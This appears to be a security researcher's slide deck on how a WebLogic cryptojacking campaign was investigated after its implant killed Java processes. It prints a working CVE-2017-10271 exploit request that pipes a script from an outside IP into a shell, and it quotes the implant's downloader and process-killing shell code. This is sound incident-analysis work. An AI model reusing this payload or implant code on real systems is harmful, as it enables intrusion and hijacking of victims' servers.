How a Clumsy Attacker Revealed a Global Cryptojacking Campaign

RENATO MARINHO

mophuslabs.com
@renato_marinho
linkedin.com/in/renatomarinho
Someone requests a transaction

The requested transaction is broadcast to P2P network consisting of computers, know as nodes.

Validation
The network nodes validates the transaction and the user’s status using know algorithms.

A verified transaction can involve cryptocurrency, contracts, records, or other information.

The new block is then added to the existing blockchain, in a way that is permanente and unelterable.

Once verified, the transaction is combined with other transactions to create a new block of data for the ledger.

The transaction is complete.
BITCOIN VS. USD VARIATION
Crypto jacking is an unauthorized use of someone else’s computer power to mine cryptocurrency.

The term is associated both for malicious mining on user’s Internet browsers and for computers or servers infected with malicious software.
Global Crypto jacking Campaign
PERFORMANCE ISSUES

- A multinational company started having performance problems on its main business application
Middle Dec 2017 – IT Monitoring Team detected unusual CPU consumption on Web Servers
Triage team examined and reported back that some native Linux processes were consuming CPU.

Triage team restarted servers or killed “stuck” processes.
SERVICE CRASH ISSUES

• After a month trying to understand the performance issues, the service started crashing, hardly impacting business operations

• Different companies started reporting similar issues at the same day
FILESYSTEM ANALYSIS

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>User</th>
<th>Type</th>
<th>Size</th>
<th>Content Modification Time</th>
<th>Creation Time</th>
<th>Last Access Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>12/24/2017</td>
<td>17:54:44</td>
<td>UTC</td>
<td>FILE</td>
<td>0.1GB</td>
<td>12/24/2017</td>
<td>12/24/2017</td>
<td>12/24/2017</td>
</tr>
<tr>
<td>12/27/2017</td>
<td>17:54:44</td>
<td>UTC</td>
<td>FILE</td>
<td>0.1GB</td>
<td>12/27/2017</td>
<td>12/27/2017</td>
<td>12/27/2017</td>
</tr>
<tr>
<td>12/28/2017</td>
<td>17:54:44</td>
<td>UTC</td>
<td>FILE</td>
<td>0.1GB</td>
<td>12/28/2017</td>
<td>12/28/2017</td>
<td>12/28/2017</td>
</tr>
<tr>
<td>12/30/2017</td>
<td>02:38:06</td>
<td>UTC</td>
<td>FILE</td>
<td>0.1GB</td>
<td>12/30/2017</td>
<td>12/30/2017</td>
<td>12/30/2017</td>
</tr>
</tbody>
</table>

...
SUSPECT BINARY ANALYSIS
SUSPECT BINARY ANALYSIS

Hardcoded Wallet Address

cryptonight (default) or cryptonight-lite
URL of mining server
username:password pair for mining server
username for mining server
password for mining server
number of miner threads
algorithm variation, 0 auto select
send keepalive for prevent timeout (need pool support)
number of times to retry before switch to backup server (default: 5)
time to pause between retries (default: 5)
set process affinity to CPU cores(s), mask 0x3 for cores 0 and 1
set process priority (0 idle, 2 normal to 5 highest)
disable huge pages support
disable colored output
donate level, default 50% (6 minutes in 100 minutes)
set custom user-agent string for pool
run the miner in the background
load a JSON-format configuration file
log all output to a file
use system log for output messages
maximum CPU usage for automatic threads mode (default 75)
safe adjust threads and av settings for current CPU
enable nicehash/txmrig-proxy support
print hash rate report every N seconds
port for the miner API
access token for API
custom worker-id for API

display this help and exit
output version information and exit

XMRig

Basic Properties
Type: ELF
Size: 2.17 MB

Detections

ALYac
Misc.Riskware.BitCoinMiner.Linux
AhnLab-V3
ELF/Coinkminer.2274080
Antiy-AVL
RiskWare[RiskTool]/Linux.BitCoinMiner.n
Avira
PUA/Coinkminer.mewnv
CAT-QuickHeal
Trojan.linux.Agent.5257
HOW THOSE FILES WERE PUT THERE?
WEBLOGIC VULNERABILITY
WEBLOGIC VULNERABILITY

- CVE 2017–10271 – Published 17 Oct 2017
  - Remote code execution
  - No authentication required
  - Easily exploitable
  - Impacted versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 e 12.2.1.2.0
WEBLOGIC
EXPLOIT

Published 23 Dec 2017
https://github.com/c0mmand3rOpSec/CVE-2017-10271/blob/master/exploit.py
ATTACK EVIDENCE

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 34.215.12.191:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Length: 556
Content-Type: text/xml
Accept-Encoding: gzip
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
      <java>
        <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>c</string> </void> <void index="2"> <string>curl http://94.250.253.178/logo8.sh | sh</string> </void> </array> <void method="start"/>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
HTTP/1.1 500 Internal Server Error
Connection: close
SCOPING THE INCIDENT
SCOPING THE INCIDENT

Victim targeted by multiple campaigns
Why those silent attacks were discovered?
FIGHTING FOR VICTIM’S CPU

- Trying to avoid other applications competing for the CPU, crypto mining campaigns kill consuming processes
- Commonly, the implant script kills other crypto mining on the same host
FIGHTING FOR VICTIM’S CPU

```powershell
$counters = (Get-Counter \Process(*)\% Processor Time\).CounterSamples
$malwares = [redacted]


foreach ($counter in $counters) {
    if ($counter.CookedValue -ge 40) {
        if ($counter.InstanceName -eq "idle" -Or $counter.InstanceName -eq "_total") {
            continue
        }
        foreach ($malware in $malwares) {
            if ($counter.InstanceName -eq $malware) {
                Stop-Process -processname $counter.InstanceName -Force
            }
        }
        foreach ($malware2 in $malwares2) {
            if ($counter.InstanceName -eq $malware2) {
                Stop-Process -processname $counter.InstanceName -Force
            }
        }
    }
}
```
KILLING COMPETITORS

```bash
mPid= ps -eo pid,command | grep $mName | head -n 1 | awk '{print $'
57
58  }
59  pkill python; pkill $mName
60  downloader http://165.227.215.25/xmrig-y $mName
61  runer
62  while true; do
63     sleep 10;
64     if ps -p $mPid > /dev/null; then
65         killer;
66     else
67         mPid=''
68     fi;
69  done
70  history
71  exit
```
KILLING COMPETITORS

```bash
killer() {
  for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
    if [ $tmpVar = $sPid ]; then
      continue;
    fi;
    if [ $tmpVar = $mPid ]; then
      continue;
    fi;
    if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\.*//g'` -ge 60 ]; then
      if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then
        continue;
      fi;
      if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then
        continue;
      fi;
      if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then
        continue;
      fi;
      kill -9 $tmpVar;
      rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*--> //g'`;
    fi;
  done;
}
```
KILLING OTHER INSTANCES

They also kills already running instances of its own crypto miner
CUTTING THE WRONG WIRE

```bash
#!/bin/bash
sPid=\$
mPid=''
mName='java'
checkCmd() {
    command -v $1 > /dev/null 2>&1;
}
downloader () {
    if checkCmd wget; then
        wget $1 -O $2
    elif checkCmd curl; then
        curl $1 -o $2
```
CUTTING THE WRONG WIRE

- So, the clumsy campaign killed “java” process on victim’s machines
- It turns out that Killing “java” on WebLogic servers means killing “WebLogic” process!
CUTTING THE WRONG WIRE

WebLogic process shutting down...
A GLOBAL CAMPAIGN
GETTING COMMUNITY INVOLVED
CRIMINALS’ PROFITS
CAMPAIGN 1

~ $ 189,980 USD
CAMPAIGN 2

〜 $7,670 USD
CAMPAIGN 3

~ $4,130 USD
CAMPAIGN 4

~ $ 2,881 USD
TOTAL

$ 204,661 USD

In less then two months
Not long ago, those vulnerabilities were usually exploited to deploy ransomware or to carry other extortion attacks.
Today, **crypto jacking** is considered one of the TOP 5 new dangerous attack techniques for 2018.
The Five Dangerous Attacks

Example: PeopleSoft Compromise
1000s of Servers
HR Data, Financial Data
“Crown Jewels”
WHAT IS HAPPENING NOW?

- **Crypto jacking everywhere** – almost all single vulnerability since then is targeted by crypto jacking campaigns

  - 3 additional WebLogic critical vulnerabilities
  - 1 Apache JBoss
  - 1 Drupal
  - Many many others...
WHAT IS HAPPENING NOW?

- A vulnerable WebLogic honeypot maintained by Morphus Labs was targeted thousands of times since Jan/2018
- Additionally to crypto jacking, attackers are deploying backdoors and DDoS Botnets
- Mixed campaigns – Ransomware or Crypto jacking depending on victim’s resources and attacker privileges
Děkuji!